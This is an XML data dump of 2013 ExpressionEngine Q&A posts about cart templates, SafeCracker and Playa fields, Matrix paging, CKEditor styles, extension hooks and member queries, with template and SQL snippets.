  <row Id="7092" PostTypeId="1" CreationDate="2013-03-06T18:06:14.110" Score="1" ViewCount="20" Body="&lt;p&gt;This is only my second project with Exp:resso, but have been a long time EE user.  I have a really strange problem, which I am hoping someone will be able to help me with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple site, based on a template that is highly modular.  Using EE, I have placed the code for the cart into it's own template (called cart_code) and embedded it into every page on my EE site.  That way, if I need to modify the code, it's in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine and seems to work, and the cart code is as follows:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;cart&quot;&amp;gt;&#xA;&#xA;    {exp:store:cart}&#xA;&#xA;                {if no_items}&#xA;&#xA;                        &amp;lt;a href=&quot;&quot; class=&quot;cart-link&quot;&amp;gt;&#xA;                            Shopping Cart&amp;lt;br /&amp;gt; is Empty&#xA;                    &amp;lt;div class=&quot;cl&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;&#xA;                {items}&#xA;                &amp;lt;a href=&quot;checkout&quot; class=&quot;cart-link&quot;&amp;gt;Your Shopping Cart&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;cl&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span&amp;gt;Items: &amp;lt;strong&amp;gt;{item_qty}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;amp;nbsp;&amp;amp;nbsp;&#xA;                    &amp;lt;span&amp;gt;Cost: &amp;lt;strong&amp;gt;{order_subtotal}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;                {/items}&#xA;&#xA;&#xA;    {/exp:store:cart}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works just fine from the home page, and if I navigate to a product page and use the &quot;add to cart&quot; button, the cart updates as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the strange part.  If I then move to an alternative product page, and click the &quot;add to cart&quot; button, I get my DIV (cart) rendered twice!  The first is the entry for the 1st product added, the second rendering is for the second product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just cannot see what I am doing wrong here.  Maybe I should change the name of the DIV ID to something less likely than &quot;cart&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.  Again, all pages share the same code!!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Mark.&lt;/p&gt;&#xA;" OwnerUserId="1127" LastActivityDate="2013-03-06T18:13:13.017" Title="Strange Cart Behaviour" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7093" PostTypeId="2" ParentId="7092" CreationDate="2013-03-06T18:13:13.017" Score="1" Body="&lt;p&gt;It's because you've got your checkout link within your &lt;code&gt;{items}&lt;/code&gt; loop, so it will logically output once for each item in that loop (i.e., for each item in your cart).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_qty &amp;gt; 0}&#xA;    &amp;lt;a href=&quot;checkout&quot; class=&quot;cart-link&quot;&amp;gt;Your Shopping Cart&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;cl&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;span&amp;gt;Items: &amp;lt;strong&amp;gt;{order_qty}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;amp;nbsp;&amp;amp;nbsp;&#xA;    &amp;lt;span&amp;gt;Cost: &amp;lt;strong&amp;gt;{order_subtotal}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-06T18:13:13.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7094" PostTypeId="2" ParentId="7079" CreationDate="2013-03-06T18:22:33.730" Score="2" Body="&lt;p&gt;There are a handful of addons that convert &lt;code&gt;$_GET&lt;/code&gt; and &lt;code&gt;$_POST&lt;/code&gt; variables to EE variables. &lt;a href=&quot;http://devot-ee.com/search/tags/tag/get&quot; rel=&quot;nofollow&quot;&gt;This search might get you started&lt;/a&gt;. My favorite is &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt;, which converts them to &lt;em&gt;global variables&lt;/em&gt; (of the early-parsed sort) like &lt;code&gt;{get:rel}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for including, I'm not sure what your &lt;code&gt;header.php&lt;/code&gt; file contains, but if it's more template code you could use an embedded template. Make a template group (say, &lt;strong&gt;embeds&lt;/strong&gt;) and a template (&lt;strong&gt;header&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if get:rel != 'tab'}&#xA;  {embed='embeds/header'}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &lt;strong&gt;do&lt;/strong&gt; directly include the PHP file, make sure &lt;code&gt;header.php&lt;/code&gt; doesn't use &lt;code&gt;echo&lt;/code&gt; as that will result in PHP errors.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-03-06T18:22:33.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7095" PostTypeId="1" CreationDate="2013-03-06T18:23:47.920" Score="1" ViewCount="227" Body="&lt;p&gt;I'm trying to figure out how to update my playa fields (member_firstname, member_lastname, etc) when they're inside of a safecracker form. All of the non-playa fields update: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;limit=&quot;1&quot;&#xA;channel=&quot;business&quot;&#xA;return=&quot;myfig/dashboard/success&quot; &#xA;datepicker=&quot;no&quot;&#xA;url_title=&quot;{segment_2}&quot;&#xA;safecracker_head=&quot;no&quot;&#xA;error_handling=&quot;inline&quot;&#xA;use_live_url=&quot;no&quot;&#xA;author_only=&quot;yes&quot;&#xA;}&#xA;&amp;lt;!--Entry Id: {embed:entry_id} --&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;label for=&quot;member_business_name1&quot;&amp;gt;Business Name&amp;lt;/label&amp;gt;&#xA;{title}&#xA;&amp;lt;/p&amp;gt;&#xA;{exp:playa:children field=&quot;contact&quot; status=&quot;not closed&quot; limit=&quot;1&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;&amp;lt;p&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;member_firstname&quot;&amp;gt;Primary Contact First Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;member_firstname&quot; id=&quot;member_firstname&quot; value=&quot;{if member_firstname}{member_firstname}{/if}&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;label for=&quot;member_lastname&quot;&amp;gt;Primary Contact Last Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;member_lastname&quot; id=&quot;member_lastname&quot; value=&quot;{if member_lastname}{member_lastname}{/if}&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;label for=&quot;member_job_title&quot;&amp;gt;Primary Contact Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;member_job_title&quot; id=&quot;member_job_title&quot; value=&quot;{if member_job_title}{member_job_title}{/if}&quot;/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pastie: &lt;a href=&quot;http://pastie.org/6405829&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/6405829&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="150" LastEditDate="2013-03-10T04:52:50.923" LastActivityDate="2013-03-10T15:10:30.503" Title="Editing playa fields inside of a safecracker form" Tags="|safecracker|playa|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7096" PostTypeId="1" CreationDate="2013-03-06T18:45:15.543" Score="3" ViewCount="417" Body="&lt;p&gt;this problem only occurs in my local MAMP PRO 2 environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets acts like it's working (I see the progress bar till the end) but then no files!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE THAT On my staging/production environment it's working!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my local settings :&#xA;Assets 1.2.2&#xA;EE 2.5.3&#xA;PHP 5.3.20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the logs when I try to upload I get this error (in apache logs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Wed Mar 06 19:26:41 2013] [notice] child pid 1425 exit signal Segmentation fault (11)&lt;/p&gt;&#xA;" OwnerUserId="1130" LastEditorUserId="1130" LastEditDate="2013-03-06T19:57:15.677" LastActivityDate="2013-03-07T15:27:32.253" Title="Assets doesn't upload files larger than 2Mb" Tags="|assets|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7097" PostTypeId="1" CreationDate="2013-03-06T19:53:01.593" Score="0" ViewCount="138" Body="&lt;p&gt;I have a (P&amp;amp;T) Matrix storing related entries from a channel where the entry_date for each entry is being used as a go-live date. Each row with its related content and more displays as its own page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to somehow grab this date or create a similar functionality within the matrix, to either close the row before a certain date, or be able to create display parameters that only show rows marked by this date or before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only sticking point right now is paging - which pages into rows where the related content is not yet live, and this shows empty images and content. I need to skip these instances entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP is an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any tips, references, or advice that might solve this! Again, it's all about row-to-row paging, though I suppose a solution that worked for more than just paging would also be awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {the_matrix limit=&quot;1&quot; sort=&quot;asc&quot; row_id=&quot;{segment_4}&quot;}&#xA;                &amp;lt;h3&amp;gt;{title} - &amp;lt;strong&amp;gt;Page {if page}{page}{if:else}{field_row_count}{/if}&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt; &#xA;                &amp;lt;div class=&quot;pagNav&quot;&amp;gt;&#xA;                    {if prev_row}{prev_row}&amp;lt;a class=&quot;btnPrev btn&quot; href=&quot;{path=&quot;the/path&quot;}/{segment_3}/{row_id}&quot; title=&quot;Prev&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;{/prev_row}{if:else}&amp;lt;a class=&quot;btnPrev btn inactive&quot; href=&quot;#&quot; title=&quot;Prev&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;{/if}&#xA;                {if next_row}{next_row}&amp;lt;a class=&quot;btnNext btn&quot; href=&quot;{path=&quot;the/path&quot;}/{segment_3}/{row_id}&quot; title=&quot;Next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/next_row}{if:else}&amp;lt;a class=&quot;btnNext btn inactive&quot; href=&quot;#&quot; title=&quot;Next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;navSearch&quot;&amp;gt;&#xA;                    &amp;lt;!-stuff-&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;contentBar&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{related}{field_content}{/related}&quot; alt=&quot;{title} img&quot; /&amp;gt;  &#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;pagFooter&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;strong&amp;gt;Page {if page}{page}{if:else}{field_row_count}{/if}&amp;lt;/strong&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;pagNav&quot;&amp;gt;&#xA;&#xA;                {if prev_row}{prev_row}&amp;lt;a class=&quot;btnPrev btn&quot; href=&quot;{path=&quot;the/path&quot;}/{segment_3}/{row_id}&quot; title=&quot;Prev&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;{/prev_row}{if:else}&amp;lt;a class=&quot;btnPrev btn inactive&quot; href=&quot;#&quot; title=&quot;Prev&quot;&amp;gt;Previous&amp;lt;/a&amp;gt;{/if}&#xA;                {if next_row}{next_row}&amp;lt;a class=&quot;btnNext btn&quot; href=&quot;{path=&quot;the/path&quot;}/{segment_3}/{row_id}&quot; title=&quot;Next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/next_row}{if:else}&amp;lt;a class=&quot;btnNext btn inactive&quot; href=&quot;#&quot; title=&quot;Next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/the_matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's my Matrix code, abbreviated in obvious places. Hope it's helpful.&#xA;I need to query this in such a way to prevent next_row and prev_row from pulling rows with related content that isn't live yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="342" LastEditorUserId="342" LastEditDate="2013-03-06T21:38:05.817" LastActivityDate="2013-03-09T12:27:45.180" Title="Need to &quot;front load&quot; Matrix content" Tags="|matrix|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7098" PostTypeId="2" ParentId="7079" CreationDate="2013-03-06T19:59:54.687" Score="1" Body="&lt;p&gt;If your going to pull in GET values you should scrub it:&#xA;$this-&gt;EE-&gt;input-&gt;get('rel', TRUE);&#xA;ref &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/input.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/input.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($this-&gt;EE-&gt;input-&gt;get('rel', TRUE) != 'tab'){&#xA;echo &quot;{embed=\&quot;site/header\&quot;}&quot;;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With php parsed on input. &#xA;If this is in a template the EE super global is already loaded. ( $this-&gt;EE =&amp;amp; get_instance();)&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-03-06T19:59:54.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7099" PostTypeId="1" CreationDate="2013-03-06T20:17:24.947" Score="3" ViewCount="159" Body="&lt;p&gt;I have a jQuery collapsing menu feature that I want my client to easily be able to create. The only thing that needs to be done is adding two styles to their text. One is the header of the menu, the other is the collapsing content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WYGWAM and here are my custom styles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.stylesSet.add( 'my_styles',&#xA;[&#xA;    // Block Styles&#xA;    { name: 'Heading 1', element: 'h1'},&#xA;    { name: 'Heading 4', element: 'h4'},&#xA;    { name: 'Default Copy', element: 'p'},&#xA;    { name: 'Accordion Header', element: 'div', attributes: {'class': 'accordion-header'}},&#xA;    { name: 'Accordion Content', element: 'div', attributes: {'class': 'accordion-content'}}&#xA;    ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is any time I try and apply the accordion styles they wrap everything within them. In the instance of trying to add bullets as content...&#xA;It'll turn into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;accordion-header&quot;&amp;gt;Header Text&amp;lt;/div&amp;gt;&#xA;&amp;lt;p class=&quot;accordion-content&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;accordion-content&quot;&amp;gt;List item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;accordion-content&quot;&amp;gt;List item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;accordion-content&quot;&amp;gt;List item&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;accordion-content&quot;&amp;gt;List item&amp;lt;/li&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just automatically adds p tags then applies my custom class to every element within. Ckeditor is being a pain. Any advice?&lt;/p&gt;&#xA;" OwnerUserId="1131" LastEditorUserId="66" LastEditDate="2013-03-06T20:21:38.780" LastActivityDate="2013-03-07T14:16:00.490" Title="Styles not being applied correctly" Tags="|ee2|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7100" PostTypeId="2" ParentId="6933" CreationDate="2013-03-06T20:23:47.273" Score="2" Body="&lt;p&gt;Okay, I found the error (If anyone's intrested):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must not write &lt;code&gt;RedirectMatch 301&lt;/code&gt; instead I simply have to write &lt;code&gt;Redirect&lt;/code&gt;.&#xA;So simple.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-03-06T20:23:47.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7101" PostTypeId="1" AcceptedAnswerId="7133" CreationDate="2013-03-06T21:20:27.040" Score="2" ViewCount="1993" Body="&lt;p&gt;I've used EE for a while now but I'm new to creating extensions or modules. I want to add a functionality where a bunch of email addresses stored in a database get notified when an entry is submitted in a particular channel. I've scanned docs and other sources and determined a module was my best bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started my module following &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;the official tutorial&lt;/a&gt;. I've also found &lt;a href=&quot;http://pkg.io/&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt; which is very useful to kickstart module development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that I can't figure out how to use hooks the way I want to. It seems that &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-end&quot; rel=&quot;nofollow&quot;&gt;the entry_submission_end hook&lt;/a&gt; is the one I'm looking for, but I'm missing where &lt;code&gt;$this-&amp;gt;extensions-&amp;gt;call('entry_submission_end', $this-&amp;gt;entry_id, $this-&amp;gt;meta, $this-&amp;gt;data);&lt;/code&gt; should be included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for tutorial on modules or extensions development using hooks but didn't not find any reliable or clear source that could help me. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2013-03-07T14:59:48.427" Title="What is the best way to start using hooks?" Tags="|add-on-development|module|extension|entry|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7102" PostTypeId="1" AcceptedAnswerId="7126" CreationDate="2013-03-06T21:42:29.517" Score="2" ViewCount="562" Body="&lt;p&gt;I am tring to get Pixel and Tonic's Matrix plugin to deliver images to ColorBox / LightboxI have Matrix delivering single images to my JQuery LightBox ( ColorBox) but I can not get it to deliver multiple images so that I can run them as a slide show.. What am I doing wrong ? Here is the mark up I have so far. My images are all contained in multiple rows but a single column{cell_1}: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery&quot;}&#xA;{gallery}&#xA;&amp;lt;a class=&quot;gallery&quot;  href=&quot;{cell_1}&quot;&amp;gt;Gallery&amp;lt;/a&amp;gt;&#xA;{/gallery}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery('a.gallery').colorbox();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many  Many Thanks ! &lt;/p&gt;&#xA;" OwnerUserId="1120" LastEditorUserId="1120" LastEditDate="2013-03-08T02:47:04.583" LastActivityDate="2013-03-10T04:48:56.117" Title="How Do I get Multiple Pictures from Matrix for use in a JQuery LightBox?" Tags="|matrix|jquery|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7103" PostTypeId="2" ParentId="7095" CreationDate="2013-03-06T21:52:18.983" Score="0" Body="&lt;p&gt;Jon, have you tried using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#other-channel-fields&quot; rel=&quot;nofollow&quot;&gt;{field:contact}&lt;/a&gt; in your Safecracker form?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-06T21:52:18.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7104" PostTypeId="2" ParentId="7101" CreationDate="2013-03-06T22:02:49.593" Score="2" Body="&lt;p&gt;Yes, it can be a bit tricky to get into it at first. What you're looking for are the Extension docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An extension can be included alongside a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that you posted is the actual code called within EE when loading any extensions attached to that hook. Thus all the parameters shown (after the first) are what you'll have access to within your extension.&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2013-03-06T22:08:35.543" LastActivityDate="2013-03-06T22:08:35.543" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7105" PostTypeId="2" ParentId="7102" CreationDate="2013-03-06T22:13:29.607" Score="2" Body="&lt;p&gt;First, ignore the JS code that makes it work and be sure that you can output multiple images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your current channel:entries tag you are trying to get an entry from the gallery channel dynamically based on the URL. Is that what you want? Also, you're not outputting any image tags, and is your matrix column really called cell_1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you get when you do this - be sure to replace the starred bits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gallery&quot; entry_id=&quot;**actual_id_here**&quot;}&#xA;  {gallery}&#xA;    {**actual_cell_name**}&#xA;  {/gallery}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-06T22:13:29.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7106" PostTypeId="2" ParentId="7099" CreationDate="2013-03-06T22:25:17.813" Score="1" Body="&lt;p&gt;I would look into adding custom templates to Wygwam via &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Templates&quot; rel=&quot;nofollow&quot;&gt;CKEditor templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then add a template that would enable the client to introduce the following markup in a Wygwam field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;accordion-header&quot;&amp;gt;Header Text&amp;lt;/div&amp;gt;&#xA;&amp;lt;ul class=&quot;accordion-content&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;Listem Item 1&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;List item 2&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Etc...&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The client could then introduce any additional items they need to the list by hitting &quot;return&quot; after the last item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that wasn't too confusing. Please let me know if you have questions!&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-03-06T22:25:17.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7107" PostTypeId="2" ParentId="6969" CreationDate="2013-03-06T22:36:35.857" Score="1" Body="&lt;p&gt;Got an answer from EllisLab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply rank denial to user-submitted links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['redirect_submitted_links'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Deny Access if No IP Address is Present:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['banish_masked_ips'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible values for &lt;code&gt;$config['req_mbr_activation']&lt;/code&gt;: none, email, manual&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="55" LastEditDate="2013-03-07T18:32:13.230" LastActivityDate="2013-03-07T18:32:13.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7108" PostTypeId="1" AcceptedAnswerId="7111" CreationDate="2013-03-06T22:45:51.320" Score="2" ViewCount="112" Body="&lt;p&gt;I've been trying to make a list of where our EE members comes from (country) and later on I will plot this data in to a Google Map to make it more interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moment I've only come up with this solution, but it might not be the best solution to go through all the countries in the world.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Australia'&quot;}Australia: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Denmark'&quot;}Denmark: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Malaysia'&quot;}Malaysia : {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'New Zealand'&quot;}New Zealand: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Norway'&quot;}Norway: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Philippines'&quot;}Philippines : {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'Singapore'&quot;}Singapore: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'United Kingdom'&quot;}United Kingdom: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{exp:query limit=&quot;1&quot; sql=&quot;SELECT m_field_id_3 FROM exp_member_data WHERE m_field_id_3 = 'United States'&quot;}United States: {paginate}{total_pages}{/paginate}{/exp:query}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find any plug available that solve this. I'm not asking anyone to write the code for me, but I would appreciate if anyone could give me some tips/guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1132" LastActivityDate="2013-03-07T00:29:24.450" Title="List where our members come from (country)" Tags="|ee2|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
